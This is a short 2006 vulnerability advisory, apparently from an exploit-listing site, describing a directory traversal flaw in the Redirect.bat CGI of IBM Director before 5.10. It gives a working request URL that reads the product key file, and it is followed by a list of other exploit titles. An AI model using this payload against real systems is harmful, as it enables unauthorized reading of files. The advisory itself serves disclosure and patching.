exploits , vulnerabilities , articles , IBM Director < 5.10 (Redirect.bat) Directory Transversal Vulnerability

2006-09-07

IBM Director < 5.10 (Redirect.bat) Directory Transversal Vulnerability

Rated as : High Risk

There is a vulnerability within the Redirect.bat file on a ibm director
cgi which allows a directory transversal to take place which in turn
exposes most files on the system to be read without authorization.

http://ip.of.system:411/cgi-bin/Redirect.bat?file=%7C..\..\..\..\..\..\....\..\program%20files\ibm\director\version.key
(or insert evil file here)


This was fixed in the 5.10 version of ibm director.

-Daniel Clemens
securitydot.net - 2006-09-07

Exploits - newest 10 RSS | More

2007-06-15 56546 Hits XOOPS Module Cjay Content 3 Remote File Inclusion Vulnerability
2007-06-15 33668 Hits XOOPS Module XT-Conteudo (spaw_root) RFI Vulnerability
2007-06-15 41840 Hits XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability
2007-06-15 28929 Hits Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)
2007-06-13 19436 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (xp sp2)
2007-06-13 16442 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (win2k sp4)
2007-06-13 19099 Hits Safari 3 for Windows Beta Remote Command Execution PoC
2007-06-13 16308 Hits Ace-FTP Client 1.24a Remote Buffer Overflow PoC
2007-06-09 33211 Hits MoviePlay 4.76 .lst File Local Buffer Overflow Exploit
2007-06-09 16969 Hits e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit